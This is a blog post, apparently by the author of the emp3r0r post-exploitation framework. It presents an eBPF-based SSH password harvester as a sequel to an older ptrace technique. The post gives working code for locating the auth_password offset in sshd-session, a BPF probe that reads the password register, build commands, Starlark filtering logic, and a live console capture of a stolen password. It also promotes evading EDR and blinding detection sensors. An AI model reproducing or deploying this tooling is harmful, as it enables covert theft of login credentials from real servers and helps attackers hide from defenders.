live capture from the operator console

TL;DR

Six years ago I wrote SSHD Injection and Password Harvesting. The idea was simple: ptrace into sshd, scan its code for a byte pattern, overwrite the next instruction with INT3, wait for the breakpoint, read the password out of a register, restore the byte, detach.

This is the sequel. emp3r0r's ssh_harvest module does the same thing with an eBPF uprobe instead: same code pattern, same register, none of the side effects. The target is never stopped, never patched, and never gets a PTRACE_ATTACH for an EDR to shout about.

You might argue that this is still detectable. You are right. The point is, there are far more legitimate eBPF operations than ptrace; once you have CAP_BPF/CAP_SYS_ADMIN, you can blind the detection sensors as well.

Why the old way is dated

The ptrace harvester was a GDB script in C. It:

  1. attached to sshd-session,
  2. found auth_password by scanning the text segment,
  3. wrote 0xCC over the byte after the PAM call,
  4. caught the trap and read RSI/RBP,
  5. restored the byte and detached.

It works, but it's loud. Any EDR that watches PTRACE_ATTACH or text writes will flag it.

A uprobe does the same interception from the kernel side, against a file offset. It's designed for user space inspection, which is exactly what we are doing. The logic is still the same, but uprobe does all the interception work for us, without needing the hacky ptrace.

How it works

Three reusable pieces: an in-memory BPF loader, a pattern locator, and the probe itself.

The libbpf module

emp3r0r v4 gained a Starlark runtime and a libbpf module. Instead of statically linking cilium/ebpf into the agent, I reused the Windows trick I already had with COFFLoader: a module declares a dependency, and the agent maps it into memory only while it is needed, then unmaps it. The relevant bits of config.json:

{
  "module_files_memfs": true,
  "dependencies": ["libbpf"],
  "agent_config": {
    "exec": "ssh_harvest.star",
    "files": ["ssh_harvest.star", "probe.bpf.o"]
  }
}

The dependency provides the loader; the BPF object is a companion file shipped into encrypted memfs. The module itself is just policy.

Finding the needle

A uprobe attaches to a file offset, so the first job is turning the code pattern into one. ebpf_code_offset reads the sshd image through the agent's I/O layer and scans only the executable PT_LOAD segments:

func FindCodePattern(image, pattern []byte) (offset, vaddr uint64, err error) {
    f, err := elf.NewFile(bytes.NewReader(image))
    if err != nil {
        return 0, 0, fmt.Errorf("parse ELF: %w", err)
    }
    defer f.Close()

    for _, p := range f.Progs {
        if p.Type != elf.PT_LOAD || p.Flags&elf.PF_X == 0 {
            continue
        }
        data := make([]byte, p.Filesz)
        if _, err := io.ReadFull(p.Open(), data); err != nil {
            continue
        }
        idx := bytes.Index(data, pattern)
        if idx < 0 {
            continue
        }
        return p.Off + uint64(idx), p.Vaddr + uint64(idx), nil
    }
    return 0, 0, ErrPatternNotFound
}

The default pattern is the same one the ptrace version used, 4883c4080fb6c021, i.e. add rsp, 8; movzx eax, al; .... It marks the point where auth_password has just checked the PAM result in RAX, with the password still in RSI.

When a distro build changes the surrounding instructions, --code-pattern lets you derive a new one from the auth_password symbol:

finding auth_password with radare2

Most sshd-session binaries in production environments are stripped. In that case, you can fetch the debug package and get all the symbols back.

The probe

probe.bpf.c is deliberately self-contained: no kernel or libbpf headers, so it builds with zig cc -target bpfel-freestanding. Two BTF-defined maps in, one event type out:

// cfg: key 0 -> index of the register to read (see libbpf.ArgRegisters)
struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 1);
         __type(key, __u32); __type(value, __u32); } cfg SEC(".maps");

// events: pid -> captured event
struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 1024);
         __type(key, __u32); __type(value, struct event); } events SEC(".maps");

struct event {
  __u32 pid; __u32 uid; __s64 retval;
  char comm[16]; char arg[64];
};

The interesting part is how the program reads a register chosen at runtime without making the verifier reject a computed ctx access. Every register is loaded at its natural constant offset into a volatile array, and only the index is dynamic:

volatile __u64 regs[NR_REGS];
regs[0] = ctx->ax; regs[1] = ctx->di; regs[2] = ctx->si; ...
__u32 reg = *idx;
if (reg >= NR_REGS) return 0;
__u64 arg_ptr = regs[reg];

struct event ev = {};
ev.pid = bpf_get_current_pid_tgid() >> 32;   // tgid, the process, not the thread
ev.retval = regs[0];                         // RAX at the probe point
bpf_get_current_comm(ev.comm, sizeof(ev.comm));
bpf_probe_read_user_str(ev.arg, sizeof(ev.arg), (const void *)arg_ptr);

bpf_probe_read_user_str is the one hard kernel requirement (5.5+); everything else is basic.

The C2 builds the object on every invocation with the bundled zig:

$ make
zig cc -O2 -g -fdebug-compilation-dir=. -target bpfel-freestanding \
  -fno-stack-protector -fno-builtin -c probe.bpf.c -o probe.bpf.o
python3 sanitize_bpf.py probe.bpf.o

-g is what emits the .BTF sections libbpf needs, but it also embeds the build path and source text. sanitize_bpf.py strips that before the object can ship, and fails closed if the ELF/BTF layout is not what it expects.

The module

The module uses the pieces above and adds the two things the old harvester got wrong: lifetime and filtering.

A capture that outlives the script

The initial version blocked for a timeout and reported at the end. ebpf_uprobe_start instead launches a background session and returns immediately, so credentials can stream in for as long as you want:

started = ebpf_uprobe_start(
    image=image, path=path, offset=offset,
    prog="probe", reg=reg, pid=pid,
    timeout_ms=timeout_s * 1000,   # 0 = until --disable
)

Each event is appended to an encrypted memfs file and pushed to the operator in real time:

func (s *uprobeSession) onEvent(ev libbpf.UprobeEvent) {
    line := formatUprobeEvent(ev)
    util.AppendTextToFileAgent(s.outPath, line) // memfs
    s.notify(line)                              // operator stream
}

Sessions live in a process-global sync.Map keyed by module owner, so ssh_harvest --disable finds the one it started without the operator remembering an id. A negative PID attaches to every process that maps the binary, which includes sessions that have not started yet.

--disable stops the capture, prints the deduplicated credentials, and removes the output file.

Filtering in Starlark

ssh_harvest.star is the policy layer. It rejects an unknown register before any kernel state is created, resolves a live sshd from /proc/<pid>/exe when no path is given, and drops anything that is not printable:

def _is_printable(value):
    if not value:
        return False
    for i in range(len(value)):
        c = ord(value[i])
        if c < 0x20 or c > 0x7E:
            return False
    return True

The final report carries the PAM result read from RAX:

valid = "yes" if ev["retval"] != 0 else "no"
print(sprintf("[+] pid=%d uid=%d comm=%q valid=%s password=%q",
              ev["pid"], ev["uid"], ev["comm"], valid, ev["arg"]))

In action

On the target, the module is started with the pattern derived from the test build:

[baf83634 - localhost.localdomain\root] ssh_harvest --code-pattern '41554154554889fd4889f7534889f348' --path '/home/r/emp3r0r/core/modules/ssh_harvest/test/.build/install/libexec/sshd-session'
[*] probing /home/r/emp3r0r/core/modules/ssh_harvest/test/.build/install/libexec/sshd-session at file offset 0x104c0 (vaddr 0x104c0), register RSI, pid -1
[*] capture bec826257c5a398670b2c894acf48803 active until stopped; credentials stream live and accumulate in memfs:///bec826257c5a398670b2c894acf48803.log
[*] run `ssh_harvest --disable` to stop it and collect the credentials
OK

Then a normal login:

$ ssh test@localhost
test@localhost's password:

and the password appears in the operator console the moment it is typed:

[baf83634 - localhost.localdomain\root] !custom_module:
pid=34200 uid=0 retval=0 comm="sshd-session" arg="123456"

The script has long since returned. No ptrace, no breakpoint, no pause.

Requirements and limits

  • Root, or CAP_BPF/CAP_SYS_ADMIN. The script checks with has_cap() and refuses early; #procinfo confirms the agent has both.
  • Kernel 5.5+ for bpf_probe_read_user_str.
  • x86_64 only — the register mapping and struct pt_regs layout are architecture-specific.
  • On OpenSSH 9.8+ the per-connection monitor is sshd-session, not /usr/sbin/sshd; point --path at it.

agent capabilities


Comments

comments powered by Disqus